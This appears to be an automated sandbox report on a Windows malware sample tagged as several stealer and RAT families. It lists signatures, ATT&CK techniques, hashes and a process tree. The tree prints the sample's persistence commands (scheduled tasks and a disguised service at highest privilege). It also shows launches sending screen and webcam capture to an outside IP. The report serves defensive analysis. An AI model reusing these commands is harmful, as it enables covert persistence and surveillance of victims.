Overview

overview

10

Static

static

3

2026-08-02...ar.exe

windows10-2004-x64

2026-08-02...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 03:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 649KB
  • Sample260802-dzl7xstcmd
  • SHA256 cd92ea3b0110ad32503979c133686a98186fcc5fb63dcb477ab8bf9c397eb318
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • System policy modification 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4900
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c "tar -xf "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" -C "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract" 2>nul & for /d %d in ("C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract\ffmpeg-*") do if exist "%d\bin" xcopy /s /y /q "%d\bin\*" "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\" >nul 2>nul & rd /s /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract" 2>nul & del /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" 2>nul"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\system32\tar.exe
        tar -xf "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" -C "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract"
        3⤵
          PID:4448
        • C:\Windows\system32\xcopy.exe
          xcopy /s /y /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract\ffmpeg-8.1.2-essentials_build\bin\*" "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\"
          3⤵
            PID:2876
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn "WindowsHostService" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3652
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn "WindowsHostService_boot" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1664
        • C:\Windows\SYSTEM32\sc.exe
          sc create "WindowsHostService" binPath= "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
          2⤵
          • Launches sc.exe
          PID:2488
        • C:\Windows\SYSTEM32\sc.exe
          sc start "WindowsHostService" 2>nul
          2⤵
          • Launches sc.exe
          PID:2884
        • C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
          "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -screen 161.104.47.223 4445 Admin-Oaggwfqt-4900 5 50
          2⤵
            PID:596
          • C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
            "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -camera 161.104.47.223 4447 Admin-Oaggwfqt-4900 0 15 5
            2⤵
            • Modifies registry class
            PID:3748
        • C:\Windows\explorer.exe
          explorer.exe ,C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
          1⤵
            PID:3248
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
            1⤵
              PID:1128
            • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
              C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
              1⤵
                PID:5876

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    Windows Command Shell

                    1
                    T1059.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    System Services

                    1
                    T1569

                    Service Execution

                    1
                    T1569.002

                    Persistence

                    Boot or Logon Autostart Execution

                    3
                    T1547

                    Registry Run Keys / Startup Folder

                    2
                    T1547.001

                    Winlogon Helper DLL

                    1
                    T1547.004

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Privilege Escalation

                    Abuse Elevation Control Mechanism

                    1
                    T1548

                    Bypass User Account Control

                    1
                    T1548.002

                    Boot or Logon Autostart Execution

                    3
                    T1547

                    Registry Run Keys / Startup Folder

                    2
                    T1547.001

                    Winlogon Helper DLL

                    1
                    T1547.004

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Defense Evasion

                    Abuse Elevation Control Mechanism

                    1
                    T1548

                    Bypass User Account Control

                    1
                    T1548.002

                    Impair Defenses

                    1
                    T1562

                    Disable or Modify Tools

                    1
                    T1562.001

                    Modify Registry

                    4
                    T1112

                    Credential Access

                    Discovery

                    Query Registry

                    1
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    ffmpeg_dl.zip
                    • Path C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip
                    • Size 41.0MB
                    • SHA256 28b444fd221f9e7e3548fa9286a3a482e6b54dbf01547fd641630979ed824ec4
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    inputsvc.exe
                    • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
                    • Size 649KB
                    • SHA256 cd92ea3b0110ad32503979c133686a98186fcc5fb63dcb477ab8bf9c397eb318
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download